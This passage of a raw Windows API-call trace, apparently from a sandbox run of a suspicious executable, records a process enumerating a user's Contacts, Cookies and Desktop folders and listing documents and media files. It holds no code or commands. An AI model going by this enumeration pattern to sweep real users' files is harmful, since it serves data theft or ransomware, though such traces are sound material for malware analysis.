FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0266.493] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0266.493] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.493] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.493] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0266.493] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.493] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.494] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.494] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.495] PathFindFileNameW (pszPath="") returned="" [0266.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0266.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0266.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.495] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0266.495] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.495] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.495] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.495] PathFindFileNameW (pszPath="") returned="" [0266.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.495] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0266.496] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0266.496] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.496] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0266.496] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.496] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.496] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.496] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.496] PathFindFileNameW (pszPath="") returned="" [0266.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0266.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.497] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0266.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.497] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30774a8 | out: hHeap=0x640000) returned 1 [0266.497] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.497] PathFindFileNameW (pszPath="") returned="" [0266.497] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0_DXftOx", cAlternateFileName="")) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbefe6f90, ftCreationTime.dwHighDateTime=0x1d4d21c, ftLastAccessTime.dwLowDateTime=0x51875830, ftLastAccessTime.dwHighDateTime=0x1d4d3db, ftLastWriteTime.dwLowDateTime=0x51875830, ftLastWriteTime.dwHighDateTime=0x1d4d3db, nFileSizeHigh=0x0, nFileSizeLow=0x10622, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2l ht.rtf", cAlternateFileName="2LHT~1.RTF")) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb23f60, ftCreationTime.dwHighDateTime=0x1d4c887, ftLastAccessTime.dwLowDateTime=0x92fdb2a0, ftLastAccessTime.dwHighDateTime=0x1d4d4c6, ftLastWriteTime.dwLowDateTime=0x92fdb2a0, ftLastWriteTime.dwHighDateTime=0x1d4d4c6, nFileSizeHigh=0x0, nFileSizeLow=0x1a23, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="496tLHemB5Lzkb7xCb7M.mkv", cAlternateFileName="496TLH~1.MKV")) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5ZcHC6YUYXtvBMsNr4", cAlternateFileName="5ZCHC6~1")) returned 1 [0266.497] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a47cec0, ftCreationTime.dwHighDateTime=0x1d4d33b, ftLastAccessTime.dwLowDateTime=0x879a42a0, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x879a42a0, ftLastWriteTime.dwHighDateTime=0x1d4d1d5, nFileSizeHigh=0x0, nFileSizeLow=0x1870c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bljvKKc.mp3", cAlternateFileName="")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x343126c0, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0x54f0b430, ftLastAccessTime.dwHighDateTime=0x1d4d165, ftLastWriteTime.dwLowDateTime=0x54f0b430, ftLastWriteTime.dwHighDateTime=0x1d4d165, nFileSizeHigh=0x0, nFileSizeLow=0x4fa3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bWkYr4TM2TfL3vpMnJ.doc", cAlternateFileName="BWKYR4~1.DOC")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb536360, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0xca4a4f90, ftLastAccessTime.dwHighDateTime=0x1d4ce20, ftLastWriteTime.dwLowDateTime=0xca4a4f90, ftLastWriteTime.dwHighDateTime=0x1d4ce20, nFileSizeHigh=0x0, nFileSizeLow=0xe1d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c6jIP57RiiMG8.ods", cAlternateFileName="C6JIP5~1.ODS")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ca1f10, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0xf0718530, ftLastAccessTime.dwHighDateTime=0x1d4d4ce, ftLastWriteTime.dwLowDateTime=0xf0718530, ftLastWriteTime.dwHighDateTime=0x1d4d4ce, nFileSizeHigh=0x0, nFileSizeLow=0x16da3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CFtrxYI4ehxro.doc", cAlternateFileName="CFTRXY~1.DOC")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6e1bd0, ftCreationTime.dwHighDateTime=0x1d4d4ec, ftLastAccessTime.dwLowDateTime=0x3435b700, ftLastAccessTime.dwHighDateTime=0x1d4c5f2, ftLastWriteTime.dwLowDateTime=0x3435b700, ftLastWriteTime.dwHighDateTime=0x1d4c5f2, nFileSizeHigh=0x0, nFileSizeLow=0x6fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CVd8AGKl82socUEV.png", cAlternateFileName="CVD8AG~1.PNG")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb62eb600, ftCreationTime.dwHighDateTime=0x1d50371, ftLastAccessTime.dwLowDateTime=0xb6c74c80, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc1cdad00, ftLastWriteTime.dwHighDateTime=0x1d50370, nFileSizeHigh=0x0, nFileSizeLow=0x74800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E0A7.tmp.exe", cAlternateFileName="E0A7TM~1.EXE")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeccbb10, ftCreationTime.dwHighDateTime=0x1d4c74f, ftLastAccessTime.dwLowDateTime=0x5e7dd6f0, ftLastAccessTime.dwHighDateTime=0x1d4d4ed, ftLastWriteTime.dwLowDateTime=0x5e7dd6f0, ftLastWriteTime.dwHighDateTime=0x1d4d4ed, nFileSizeHigh=0x0, nFileSizeLow=0xfbad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EFVz.flv", cAlternateFileName="")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa117930, ftCreationTime.dwHighDateTime=0x1d4c99b, ftLastAccessTime.dwLowDateTime=0x97eafb50, ftLastAccessTime.dwHighDateTime=0x1d4c7e3, ftLastWriteTime.dwLowDateTime=0x97eafb50, ftLastWriteTime.dwHighDateTime=0x1d4c7e3, nFileSizeHigh=0x0, nFileSizeLow=0x13369, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gI1Ph3odyc3WWitg.swf", cAlternateFileName="GI1PH3~1.SWF")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa948820, ftCreationTime.dwHighDateTime=0x1d4cfb8, ftLastAccessTime.dwLowDateTime=0xef376940, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xef376940, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0x25ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HDxPsHkhhG.jpg", cAlternateFileName="HDXPSH~1.JPG")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c66ba0, ftCreationTime.dwHighDateTime=0x1d4d23c, ftLastAccessTime.dwLowDateTime=0xb1199a00, ftLastAccessTime.dwHighDateTime=0x1d4d0da, ftLastWriteTime.dwLowDateTime=0xb1199a00, ftLastWriteTime.dwHighDateTime=0x1d4d0da, nFileSizeHigh=0x0, nFileSizeLow=0x86e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i1wOhL3vMDC.gif", cAlternateFileName="I1WOHL~1.GIF")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f83fb0, ftCreationTime.dwHighDateTime=0x1d4cfc7, ftLastAccessTime.dwLowDateTime=0x210b6c40, ftLastAccessTime.dwHighDateTime=0x1d4d378, ftLastWriteTime.dwLowDateTime=0x210b6c40, ftLastWriteTime.dwHighDateTime=0x1d4d378, nFileSizeHigh=0x0, nFileSizeLow=0xccba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ig-pKA.docx", cAlternateFileName="IG-PKA~1.DOC")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff670eb0, ftCreationTime.dwHighDateTime=0x1d4c67e, ftLastAccessTime.dwLowDateTime=0x18358c0, ftLastAccessTime.dwHighDateTime=0x1d4c9d1, ftLastWriteTime.dwLowDateTime=0x18358c0, ftLastWriteTime.dwHighDateTime=0x1d4c9d1, nFileSizeHigh=0x0, nFileSizeLow=0x1763a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iPCx0KzGTdc.mp3", cAlternateFileName="IPCX0K~1.MP3")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8cf200, ftCreationTime.dwHighDateTime=0x1d4d499, ftLastAccessTime.dwLowDateTime=0x13fb08a0, ftLastAccessTime.dwHighDateTime=0x1d4d4f2, ftLastWriteTime.dwLowDateTime=0x13fb08a0, ftLastWriteTime.dwHighDateTime=0x1d4d4f2, nFileSizeHigh=0x0, nFileSizeLow=0xb19f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KRom7uq2QFi.m4a", cAlternateFileName="KROM7U~1.M4A")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb98bf80, ftCreationTime.dwHighDateTime=0x1d4d429, ftLastAccessTime.dwLowDateTime=0xf1ee8470, ftLastAccessTime.dwHighDateTime=0x1d4d2ae, ftLastWriteTime.dwLowDateTime=0xf1ee8470, ftLastWriteTime.dwHighDateTime=0x1d4d2ae, nFileSizeHigh=0x0, nFileSizeLow=0x8cfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msHzUMaVeyMhZg.ods", cAlternateFileName="MSHZUM~1.ODS")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d445e0, ftCreationTime.dwHighDateTime=0x1d4cce2, ftLastAccessTime.dwLowDateTime=0xdb132200, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0xdb132200, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x14c54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oYQm89fmHM2V.ppt", cAlternateFileName="OYQM89~1.PPT")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e08360, ftCreationTime.dwHighDateTime=0x1d4ca8e, ftLastAccessTime.dwLowDateTime=0xa77f9e10, ftLastAccessTime.dwHighDateTime=0x1d4d439, ftLastWriteTime.dwLowDateTime=0xa77f9e10, ftLastWriteTime.dwHighDateTime=0x1d4d439, nFileSizeHigh=0x0, nFileSizeLow=0x106cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="plOBtmmjgx5C31gv7.mkv", cAlternateFileName="PLOBTM~1.MKV")) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1701c0, 